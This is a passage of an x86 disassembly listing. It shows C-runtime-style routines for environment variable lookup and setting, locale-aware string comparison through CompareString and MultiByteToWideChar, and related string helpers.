-8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov eax, dword_4DDFA0 mov [ebp+var_8], eax cmp dword_4DF688, 0 jnz short loc_43272E xor eax, eax jmp loc_4327D2 ; --------------------------------------------------------------------------- loc_43272E: ; CODE XREF: sub_432710+15j cmp [ebp+var_8], 0 jnz short loc_432756 cmp dword_4DDFA8, 0 jz short loc_432756 call sub_432830 test eax, eax jz short loc_43274D xor eax, eax jmp loc_4327D2 ; --------------------------------------------------------------------------- loc_43274D: ; CODE XREF: sub_432710+34j mov ecx, dword_4DDFA0 mov [ebp+var_8], ecx loc_432756: ; CODE XREF: sub_432710+22j ; sub_432710+2Bj cmp [ebp+var_8], 0 jz short loc_4327D0 cmp [ebp+arg_0], 0 jz short loc_4327D0 mov edx, [ebp+arg_0] push edx call sub_414EC0 add esp, 4 mov [ebp+var_4], eax loc_432771: ; CODE XREF: sub_432710+BEj mov eax, [ebp+var_8] cmp dword ptr [eax], 0 jz short loc_4327D0 mov ecx, [ebp+var_8] mov edx, [ecx] push edx call sub_414EC0 add esp, 4 cmp eax, [ebp+var_4] jbe short loc_4327C5 mov eax, [ebp+var_8] mov ecx, [eax] mov edx, [ebp+var_4] movsx eax, byte ptr [ecx+edx] cmp eax, 3Dh jnz short loc_4327C5 mov ecx, [ebp+var_4] push ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_8] mov ecx, [eax] push ecx call sub_4327E0 add esp, 0Ch test eax, eax jnz short loc_4327C5 mov edx, [ebp+var_8] mov eax, [edx] mov ecx, [ebp+var_4] lea eax, [eax+ecx+1] jmp short loc_4327D2 ; --------------------------------------------------------------------------- loc_4327C5: ; CODE XREF: sub_432710+7Aj ; sub_432710+8Bj ... mov edx, [ebp+var_8] add edx, 4 mov [ebp+var_8], edx jmp short loc_432771 ; --------------------------------------------------------------------------- loc_4327D0: ; CODE XREF: sub_432710+4Aj ; sub_432710+50j ... xor eax, eax loc_4327D2: ; CODE XREF: sub_432710+19j ; sub_432710+38j ... mov esp, ebp pop ebp retn sub_432710 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4327E0 proc near ; CODE XREF: sub_432710+9Bp ; sub_433010+2Dp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx cmp [ebp+arg_8], 0 jnz short loc_4327EE xor eax, eax jmp short loc_43282B ; --------------------------------------------------------------------------- loc_4327EE: ; CODE XREF: sub_4327E0+8j mov eax, dword_4DE42C push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_0] push ecx push 1 mov edx, dword_4DE644 push edx call sub_4328E0 add esp, 1Ch mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_432825 mov eax, 7FFFFFFFh jmp short loc_43282B ; --------------------------------------------------------------------------- loc_432825: ; CODE XREF: sub_4327E0+3Cj mov eax, [ebp+var_4] sub eax, 2 loc_43282B: ; CODE XREF: sub_4327E0+Cj ; sub_4327E0+43j mov esp, ebp pop ebp retn sub_4327E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432830 proc near ; CODE XREF: sub_432710+2Dp ; sub_432D30+81p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 0Ch mov eax, dword_4DDFA8 mov [ebp+var_4], eax loc_43283E: ; CODE XREF: sub_432830+A3j mov ecx, [ebp+var_4] cmp dword ptr [ecx], 0 jz loc_4328D8 push 0 push 0 push 0 push 0 push 0FFFFFFFFh mov edx, [ebp+var_4] mov eax, [edx] push eax push 0 push 1 call dword_4E0424 ; WideCharToMultiByte mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_432872 or eax, 0FFFFFFFFh jmp short loc_4328DA ; --------------------------------------------------------------------------- loc_432872: ; CODE XREF: sub_432830+3Bj push 3Dh push offset dword_436004 push 2 mov ecx, [ebp+var_C] push ecx call sub_4150C0 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_432895 or eax, 0FFFFFFFFh jmp short loc_4328DA ; --------------------------------------------------------------------------- loc_432895: ; CODE XREF: sub_432830+5Ej push 0 push 0 mov edx, [ebp+var_C] push edx mov eax, [ebp+var_8] push eax push 0FFFFFFFFh mov ecx, [ebp+var_4] mov edx, [ecx] push edx push 0 push 1 call dword_4E0424 ; WideCharToMultiByte test eax, eax jnz short loc_4328BC or eax, 0FFFFFFFFh jmp short loc_4328DA ; --------------------------------------------------------------------------- loc_4328BC: ; CODE XREF: sub_432830+85j push 0 mov eax, [ebp+var_8] push eax call sub_432D30 add esp, 8 mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx jmp loc_43283E ; --------------------------------------------------------------------------- loc_4328D8: ; CODE XREF: sub_432830+14j xor eax, eax loc_4328DA: ; CODE XREF: sub_432830+40j ; sub_432830+63j ... mov esp, ebp pop ebp retn sub_432830 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4328E0 proc near ; CODE XREF: sub_4327E0+2Dp var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_36 = byte ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_436058 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFC8h push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4DE304, 0 jnz short loc_432966 push 1 push offset dword_435398 push 1 push offset dword_435398 push 0 push 0 call dword_4E02D4 ; CompareStringW test eax, eax jz short loc_432937 mov dword_4DE304, 1 jmp short loc_432966 ; --------------------------------------------------------------------------- loc_432937: ; CODE XREF: sub_4328E0+49j push 1 push offset dword_435394 push 1 push offset dword_435394 push 0 push 0 call dword_4E02D8 ; CompareStringA test eax, eax jz short loc_43295F mov dword_4DE304, 2 jmp short loc_432966 ; --------------------------------------------------------------------------- loc_43295F: ; CODE XREF: sub_4328E0+71j xor eax, eax jmp loc_432CC4 ; --------------------------------------------------------------------------- loc_432966: ; CODE XREF: sub_4328E0+2Dj ; sub_4328E0+55j ... cmp [ebp+arg_C], 0 jle short loc_43297F mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx call sub_432CE0 add esp, 8 mov [ebp+arg_C], eax loc_43297F: ; CODE XREF: sub_4328E0+8Aj cmp [ebp+arg_14], 0 jle short loc_432998 mov edx, [ebp+arg_14] push edx mov eax, [ebp+arg_10] push eax call sub_432CE0 add esp, 8 mov [ebp+arg_14], eax loc_432998: ; CODE XREF: sub_4328E0+A3j cmp dword_4DE304, 2 jnz short loc_4329C4 mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx mov eax, [ebp+arg_C] push eax mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call dword_4E02D8 ; CompareStringA jmp loc_432CC4 ; --------------------------------------------------------------------------- loc_4329C4: ; CODE XREF: sub_4328E0+BFj cmp dword_4DE304, 1 jnz loc_432CC2 cmp [ebp+arg_18], 0 jnz short loc_4329E0 mov ecx, dword_4DE084 mov [ebp+arg_18], ecx loc_4329E0: ; CODE XREF: sub_4328E0+F5j cmp [ebp+arg_C], 0 jz short loc_4329F0 cmp [ebp+arg_14], 0 jnz loc_432B6C loc_4329F0: ; CODE XREF: sub_4328E0+104j mov edx, [ebp+arg_C] cmp edx, [ebp+arg_14] jnz short loc_432A02 mov eax, 2 jmp loc_432CC4 ; --------------------------------------------------------------------------- loc_432A02: ; CODE XREF: sub_4328E0+116j cmp [ebp+arg_14], 1 jle short loc_432A12 mov eax, 1 jmp loc_432CC4 ; --------------------------------------------------------------------------- loc_432A12: ; CODE XREF: sub_4328E0+126j cmp [ebp+arg_C], 1 jle short loc_432A22 mov eax, 3 jmp loc_432CC4 ; --------------------------------------------------------------------------- loc_432A22: ; CODE XREF: sub_4328E0+136j lea eax, [ebp+var_3C] push eax mov ecx, [ebp+arg_18] push ecx call dword_4E04B4 ; GetCPInfo test eax, eax jnz short loc_432A3B xor eax, eax jmp loc_432CC4 ; --------------------------------------------------------------------------- loc_432A3B: ; CODE XREF: sub_4328E0+152j ; sub_4328E0+198j cmp [ebp+arg_C], 0 jnz short loc_432A47 cmp [ebp+arg_14], 1 jz short loc_432A74 loc_432A47: ; CODE XREF: sub_4328E0+15Fj cmp [ebp+arg_C], 1 jnz short loc_432A53 cmp [ebp+arg_14], 0 jz short loc_432A74 loc_432A53: ; CODE XREF: sub_4328E0+16Bj push offset aCchcount10Cchc ; "cchCount1==0 && cchCount2==1 || cchCoun"... push 0 push 0B6h push offset dword_436010 push 2 call sub_41B010 add esp, 14h cmp eax, 1 jnz short loc_432A74 int 3 ; Trap to Debugger loc_432A74: ; CODE XREF: sub_4328E0+165j ; sub_4328E0+171j ... xor edx, edx test edx, edx jnz short loc_432A3B cmp [ebp+arg_C], 0 jle short loc_432AF3 cmp [ebp+var_3C], 2 jnb short loc_432A90 mov eax, 3 jmp loc_432CC4 ; --------------------------------------------------------------------------- loc_432A90: ; CODE XREF: sub_4328E0+1A4j lea eax, [ebp+var_36] mov [ebp+var_40], eax jmp short loc_432AA1 ; --------------------------------------------------------------------------- loc_432A98: ; CODE XREF: sub_4328E0:loc_432AE7j mov ecx, [ebp+var_40] add ecx, 2 mov [ebp+var_40], ecx loc_432AA1: ; CODE XREF: sub_4328E0+1B6j mov edx, [ebp+var_40] xor eax, eax mov al, [edx] test eax, eax jz short loc_432AE9 mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx+1] test edx, edx jz short loc_432AE9 mov eax, [ebp+arg_8] xor ecx, ecx mov cl, [eax] mov edx, [ebp+var_40] xor eax, eax mov al, [edx] cmp ecx, eax jl short loc_432AE7 mov ecx, [ebp+arg_8] xor edx, edx mov dl, [ecx] mov eax, [ebp+var_40] xor ecx, ecx mov cl, [eax+1] cmp edx, ecx jg short loc_432AE7 mov eax, 2 jmp loc_432CC4 ; --------------------------------------------------------------------------- loc_432AE7: ; CODE XREF: sub_4328E0+1E8j ; sub_4328E0+1FBj jmp short loc_432A98 ; --------------------------------------------------------------------------- loc_432AE9: ; CODE XREF: sub_4328E0+1CAj ; sub_4328E0+1D6j mov eax, 3 jmp loc_432CC4 ; --------------------------------------------------------------------------- loc_432AF3: ; CODE XREF: sub_4328E0+19Ej cmp [ebp+arg_14], 0 jle short loc_432B6C cmp [ebp+var_3C], 2 jnb short loc_432B09 mov eax, 1 jmp loc_432CC4 ; --------------------------------------------------------------------------- loc_432B09: ; CODE XREF: sub_4328E0+21Dj lea edx, [ebp+var_36] mov [ebp+var_40], edx jmp short loc_432B1A ; --------------------------------------------------------------------------- loc_432B11: ; CODE XREF: sub_4328E0:loc_432B60j mov eax, [ebp+var_40] add eax, 2 mov [ebp+var_40], eax loc_432B1A: ; CODE XREF: sub_4328E0+22Fj mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx] test edx, edx jz short loc_432B62 mov eax, [ebp+var_40] xor ecx, ecx mov cl, [eax+1] test ecx, ecx jz short loc_432B62 mov edx, [ebp+arg_10] xor eax, eax mov al, [edx] mov ecx, [ebp+var_40] xor edx, edx mov dl, [ecx] cmp eax, edx jl short loc_432B60 mov eax, [ebp+arg_10] xor ecx, ecx mov cl, [eax] mov edx, [ebp+var_40] xor eax, eax mov al, [edx+1] cmp ecx, eax jg short loc_432B60 mov eax, 2 jmp loc_432CC4 ; --------------------------------------------------------------------------- loc_432B60: ; CODE XREF: sub_4328E0+261j ; sub_4328E0+274j jmp short loc_432B11 ; --------------------------------------------------------------------------- loc_432B62: ; CODE XREF: sub_4328E0+243j ; sub_4328E0+24Fj mov eax, 1 jmp loc_432CC4 ; --------------------------------------------------------------------------- loc_432B6C: ; CODE XREF: sub_4328E0+10Aj ; sub_4328E0+217j push 0 push 0 mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 9 mov eax, [ebp+arg_18] push eax call dword_4E0428 ; MultiByteToWideChar mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jnz short loc_432B94 xor eax, eax jmp loc_432CC4 ; --------------------------------------------------------------------------- loc_432B94: ; CODE XREF: sub_4328E0+2ABj mov [ebp+var_4], 0 mov eax, [ebp+var_1C] shl eax, 1 add eax, 3 and al, 0FCh call sub_4181D0 mov [ebp+var_44], esp mov [ebp+var_18], esp mov ecx, [ebp+var_44] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_432BD6 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_432BD6: ; CODE XREF: sub_4328E0+2DDj cmp [ebp+var_24], 0 jnz short loc_432BE3 xor eax, eax jmp loc_432CC4 ; --------------------------------------------------------------------------- loc_432BE3: ; CODE XREF: sub_4328E0+2FAj mov edx, [ebp+var_1C] push edx mov eax, [ebp+var_24] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx push 1 mov eax, [ebp+arg_18] push eax call dword_4E0428 ; MultiByteToWideChar test eax, eax jnz short loc_432C0A xor eax, eax jmp loc_432CC4 ; --------------------------------------------------------------------------- loc_432C0A: ; CODE XREF: sub_4328E0+321j push 0 push 0 mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx push 9 mov eax, [ebp+arg_18] push eax call dword_4E0428 ; MultiByteToWideChar mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz short loc_432C32 xor eax, eax jmp loc_432CC4 ; --------------------------------------------------------------------------- loc_432C32: ; CODE XREF: sub_4328E0+349j mov [ebp+var_4], 1 mov eax, [ebp+var_20] shl eax, 1 add eax, 3 and al, 0FCh call sub_4181D0 mov [ebp+var_48], esp mov [ebp+var_18], esp mov ecx, [ebp+var_48] mov [ebp+var_28], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_432C74 ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_28], 0 mov [ebp+var_4], 0FFFFFFFFh loc_432C74: ; CODE XREF: sub_4328E0+37Bj cmp [ebp+var_28], 0 jnz short loc_432C7E xor eax, eax jmp short loc_432CC4 ; --------------------------------------------------------------------------- loc_432C7E: ; CODE XREF: sub_4328E0+398j mov edx, [ebp+var_20] push edx mov eax, [ebp+var_28] push eax mov ecx, [ebp+arg_14] push ecx mov edx, [ebp+arg_10] push edx push 1 mov eax, [ebp+arg_18] push eax call dword_4E0428 ; MultiByteToWideChar test eax, eax jnz short loc_432CA2 xor eax, eax jmp short loc_432CC4 ; --------------------------------------------------------------------------- loc_432CA2: ; CODE XREF: sub_4328E0+3BCj mov ecx, [ebp+var_20] push ecx mov edx, [ebp+var_28] push edx mov eax, [ebp+var_1C] push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_4] push edx mov eax, [ebp+arg_0] push eax call dword_4E02D4 ; CompareStringW jmp short loc_432CC4 ; --------------------------------------------------------------------------- loc_432CC2: ; CODE XREF: sub_4328E0+EBj xor eax, eax loc_432CC4: ; CODE XREF: sub_4328E0+81j ; sub_4328E0+DFj ... lea esp, [ebp-54h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4328E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432CE0 proc near ; CODE XREF: sub_4328E0+94p ; sub_4328E0+ADp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx loc_432CF2: ; CODE XREF: sub_432CE0+35j mov edx, [ebp+var_8] mov eax, [ebp+var_8] sub eax, 1 mov [ebp+var_8], eax test edx, edx jz short loc_432D17 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_432D17 mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp short loc_432CF2 ; --------------------------------------------------------------------------- loc_432D17: ; CODE XREF: sub_432CE0+20j ; sub_432CE0+2Aj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_432D29 mov eax, [ebp+var_4] sub eax, [ebp+arg_0] jmp short loc_432D2C ; --------------------------------------------------------------------------- loc_432D29: ; CODE XREF: sub_432CE0+3Fj mov eax, [ebp+arg_4] loc_432D2C: ; CODE XREF: sub_432CE0+47j mov esp, ebp pop ebp retn sub_432CE0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_432D30 proc near ; CODE XREF: sub_432830+92p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 18h push esi cmp [ebp+arg_0], 0 jz short loc_432D5C push 3Dh mov eax, [ebp+arg_0] push eax call sub_433180 add esp, 8 mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_432D5C mov ecx, [ebp+arg_0] cmp ecx, [ebp+var_18] jnz short loc_432D64 loc_432D5C: ; CODE XREF: sub_432D30+Bj ; sub_432D30+22j or eax, 0FFFFFFFFh jmp loc_43300B ; --------------------------------------------------------------------------- loc_432D64: ; CODE XREF: sub_432D30+2Aj mov edx, [ebp+var_18] movsx eax, byte ptr [edx+1] neg eax sbb eax, eax inc eax mov [ebp+var_14], eax mov ecx, dword_4DDFA0 cmp ecx, dword_4DDFA4 jnz short loc_432D95 mov edx, dword_4DDFA0 push edx call sub_433090 add esp, 4 mov dword_4DDFA0, eax loc_432D95: ; CODE XREF: sub_432D30+4Fj cmp dword_4DDFA0, 0 jnz loc_432E55 cmp [ebp+arg_4], 0 jz short loc_432DC7 cmp dword_4DDFA8, 0 jz short loc_432DC7 call sub_432830 test eax, eax jz short loc_432DC2 or eax, 0FFFFFFFFh jmp loc_43300B ; --------------------------------------------------------------------------- loc_432DC2: ; CODE XREF: sub_432D30+88j jmp loc_432E55 ; --------------------------------------------------------------------------- loc_432DC7: ; CODE XREF: sub_432D30+76j ; sub_432D30+7Fj cmp [ebp+var_14], 0 jz short loc_432DD4 xor eax, eax jmp loc_43300B ; --------------------------------------------------------------------------- loc_432DD4: ; CODE XREF: sub_432D30+9Bj cmp dword_4DDFA0, 0 jnz short loc_432E14 push 87h push offset dword_436070 push 2 push 4 call sub_4150C0 add esp, 10h mov dword_4DDFA0, eax cmp dword_4DDFA0, 0 jnz short loc_432E09 or eax, 0FFFFFFFFh jmp loc_43300B ; --------------------------------------------------------------------------- loc_432E09: ; CODE XREF: sub_432D30+CFj mov eax, dword_4DDFA0 mov dword ptr [eax], 0 loc_432E14: ; CODE XREF: sub_432D30+ABj cmp dword_4DDFA8, 0 jnz short loc_432E55 push 8Eh push offset dword_436070 push 2 push 4 call sub_4150C0 add esp, 10h mov dword_4DDFA8, eax cmp dword_4DDFA8, 0 jnz short loc_432E49 or eax, 0FFFFFFFFh jmp loc_43300B ; --------------------------------------------------------------------------- loc_432E49: ; CODE XREF: sub_432D30+10Fj mov ecx, dword_4DDFA8 mov dword ptr [ecx], 0 loc_432E55: ; CODE XREF: sub_432D30+6Cj ; sub_432D30:loc_432DC2j ... mov edx, dword_4DDFA0 mov [ebp+var_C], edx mov eax, [ebp+var_18] sub eax, [ebp+arg_0] push eax mov ecx, [ebp+arg_0] push ecx call sub_433010 add esp, 8 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jl loc_432F11 mov edx, [ebp+var_C] cmp dword ptr [edx], 0 jz loc_432F11 cmp [ebp+var_14], 0 jz short loc_432F03 push 2 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ecx+eax*4] push edx call sub_415C60 add esp, 8 jmp short loc_432EAF ; --------------------------------------------------------------------------- loc_432EA6: ; CODE XREF: sub_432D30+19Ej mov eax, [ebp+var_8] add eax, 1 mov [ebp+var_8], eax loc_432EAF: ; CODE XREF: sub_432D30+174j mov ecx, [ebp+var_8] mov edx, [ebp+var_C] cmp dword ptr [edx+ecx*4], 0 jz short loc_432ED0 mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ebp+var_8] mov esi, [ebp+var_C] mov edx, [esi+edx*4+4] mov [ecx+eax*4], edx jmp short loc_432EA6 ; --------------------------------------------------------------------------- loc_432ED0: ; CODE XREF: sub_432D30+189j push 0B9h push offset dword_436070 push 2 mov eax, [ebp+var_8] shl eax, 2 push eax mov ecx, [ebp+var_C] push ecx call sub_4155B0 add esp, 14h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_432F01 mov edx, [ebp+var_C] mov dword_4DDFA0, edx loc_432F01: ; CODE XREF: sub_432D30+1C6j jmp short loc_432F0F ; --------------------------------------------------------------------------- loc_432F03: ; CODE XREF: sub_432D30+15Ej mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov edx, [ebp+arg_0] mov [ecx+eax*4], edx loc_432F0F: ; CODE XREF: sub_432D30:loc_432F01j jmp short loc_432F84 ; --------------------------------------------------------------------------- loc_432F11: ; CODE XREF: sub_432D30+148j ; sub_432D30+154j cmp [ebp+var_14], 0 jnz short loc_432F7D cmp [ebp+var_8], 0 jge short loc_432F25 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_432F25: ; CODE XREF: sub_432D30+1EBj push 0CEh push offset dword_436070 push 2 mov ecx, [ebp+var_8] lea edx, ds:8[ecx*4] push edx mov eax, [ebp+var_C] push eax call sub_4155B0 add esp, 14h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_432F59 or eax, 0FFFFFFFFh jmp loc_43300B ; --------------------------------------------------------------------------- loc_432F59: ; CODE XREF: sub_432D30+21Fj mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov eax, [ebp+arg_0] mov [edx+ecx*4], eax mov ecx, [ebp+var_8] mov edx, [ebp+var_C] mov dword ptr [edx+ecx*4+4], 0 mov eax, [ebp+var_C] mov dword_4DDFA0, eax jmp short loc_432F84 ; --------------------------------------------------------------------------- loc_432F7D: ; CODE XREF: sub_432D30+1E5j xor eax, eax jmp loc_43300B ; --------------------------------------------------------------------------- loc_432F84: ; CODE XREF: sub_432D30:loc_432F0Fj ; sub_432D30+24Bj cmp [ebp+arg_4], 0 jz short loc_433009 push 0E5h push offset dword_436070 push 2 mov ecx, [ebp+arg_0] push ecx call sub_414EC0 add esp, 4 add eax, 2 push eax call sub_4150C0 add esp, 10h mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_433009 mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_10] push eax call sub_418870 add esp, 8 mov ecx, [ebp+var_18] sub ecx, [ebp+arg_0] mov edx, [ebp+var_10] add edx, ecx mov [ebp+var_4], edx mov eax, [ebp+var_4] mov byte ptr [eax], 0 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_14] neg edx sbb edx, edx not edx and edx, [ebp+var_4] push edx mov eax, [ebp+var_10] push eax call dword_4E02D0 ; SetEnvironmentVariableA push 2 mov ecx, [ebp+var_10] push ecx call sub_415C60 add esp, 8 loc_433009: ; CODE XREF: sub_432D30+258j ; sub_432D30+285j xor eax, eax loc_43300B: ; CODE XREF: sub_432D30+2Fj ; sub_432D30+8Dj ... pop esi mov esp, ebp pop ebp retn sub_432D30 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433010 proc near ; CODE XREF: sub_432D30+139p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, dword_4DDFA0 mov [ebp+var_4], eax jmp short loc_433027 ; --------------------------------------------------------------------------- loc_43301E: ; CODE XREF: sub_433010:loc_433078j mov ecx, [ebp+var_4] add ecx, 4 mov [ebp+var_4], ecx loc_433027: ; CODE XREF: sub_433010+Cj mov edx, [ebp+var_4] cmp dword ptr [edx], 0 jz short loc_43307A mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_4] mov edx, [ecx] push edx mov eax, [ebp+arg_0] push eax call sub_4327E0 add esp, 0Ch test eax, eax jnz short loc_433078 mov ecx, [ebp+var_4] mov edx, [ecx] mov eax, [ebp+arg_4] movsx ecx, byte ptr [edx+eax] cmp ecx, 3Dh jz short loc_43306A mov edx, [ebp+var_4] mov eax, [edx] mov ecx, [ebp+arg_4] movsx edx, byte ptr [eax+ecx] test edx, edx jnz short loc_433078 loc_43306A: ; CODE XREF: sub_433010+48j mov eax, [ebp+var_4] sub eax, dword_4DDFA0 sar eax, 2 jmp short loc_433088 ; --------------------------------------------------------------------------- loc_433078: ; CODE XREF: sub_433010+37j ; sub_433010+58j jmp short loc_43301E ; --------------------------------------------------------------------------- loc_43307A: ; CODE XREF: sub_433010+1Dj mov eax, [ebp+var_4] sub eax, dword_4DDFA0 sar eax, 2 neg eax loc_433088: ; CODE XREF: sub_433010+66j mov esp, ebp pop ebp retn sub_433010 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433090 proc near ; CODE XREF: sub_432D30+58p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h mov [ebp+var_10], 0 mov eax, [ebp+arg_0] mov [ebp+var_C], eax cmp [ebp+arg_0], 0 jnz short loc_4330B0 xor eax, eax jmp loc_43317A ; --------------------------------------------------------------------------- loc_4330B0: ; CODE XREF: sub_433090+17j ; sub_433090+3Bj mov ecx, [ebp+var_C] mov edx, [ecx] mov eax, [ebp+var_C] add eax, 4 mov [ebp+var_C], eax test edx, edx jz short loc_4330CD mov ecx, [ebp+var_10] add ecx, 1 mov [ebp+var_10], ecx jmp short loc_4330B0 ; --------------------------------------------------------------------------- loc_4330CD: ; CODE XREF: sub_433090+30j push 146h push offset dword_436070 push 2 mov edx, [ebp+var_10] lea eax, ds:4[edx*4] push eax call sub_4150C0 add esp, 10h mov [ebp+var_8], eax mov ecx, [ebp+var_8] mov [ebp+var_4], ecx cmp [ebp+var_4], 0 jnz short loc_433105 push 9 call sub_41AC70 add esp, 4 loc_433105: ; CODE XREF: sub_433090+69j mov edx, [ebp+arg_0] mov [ebp+var_C], edx loc_43310B: ; CODE XREF: sub_433090+DCj mov eax, [ebp+var_C] cmp dword ptr [eax], 0 jz short loc_43316E push 14Fh push offset dword_436070 push 2 mov ecx, [ebp+var_C] mov edx, [ecx] push edx call sub_414EC0 add esp, 4 add eax, 1 push eax call sub_4150C0 add esp, 10h mov ecx, [ebp+var_8] mov [ecx], eax mov edx, [ebp+var_8] cmp dword ptr [edx], 0 jz short loc_43315A mov eax, [ebp+var_C] mov ecx, [eax] push ecx mov edx, [ebp+var_8] mov eax, [edx] push eax call sub_418870 add esp, 8 loc_43315A: ; CODE XREF: sub_433090+B4j mov ecx, [ebp+var_C] add ecx, 4 mov [ebp+var_C], ecx mov edx, [ebp+var_8] add edx, 4 mov [ebp+var_8], edx jmp short loc_43310B ; --------------------------------------------------------------------------- loc_43316E: ; CODE XREF: sub_433090+81j mov eax, [ebp+var_8] mov dword ptr [eax], 0 mov eax, [ebp+var_4] loc_43317A: ; CODE XREF: sub_433090+1Bj mov esp, ebp pop ebp retn sub_433090 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433180 proc near ; CODE XREF: sub_432D30+13p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp dword_4DE43C, 0 jnz short loc_4331A2 mov eax, [ebp+arg_4] push eax mov ecx, [ebp+arg_0] push ecx call sub_418970 add esp, 8 jmp loc_433269 ; --------------------------------------------------------------------------- loc_4331A2: ; CODE XREF: sub_433180+Bj push 19h call sub_41BC80 add esp, 4 jmp short loc_4331B7 ; --------------------------------------------------------------------------- loc_4331AE: ; CODE XREF: sub_433180:loc_433246j mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx loc_4331B7: ; CODE XREF: sub_433180+2Cj mov eax, [ebp+arg_0] movzx cx, byte ptr [eax] mov word ptr [ebp+var_4], cx mov edx, [ebp+var_4] and edx, 0FFFFh test edx, edx jz short loc_43324B mov eax, [ebp+var_4] and eax, 0FFh xor ecx, ecx mov cl, byte_4DE541[eax] and ecx, 4 test ecx, ecx jz short loc_433236 mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx mov eax, [ebp+arg_0] xor ecx, ecx mov cl, [eax] test ecx, ecx jnz short loc_433208 push 19h call sub_41BD20 add esp, 4 xor eax, eax jmp short loc_433269 ; 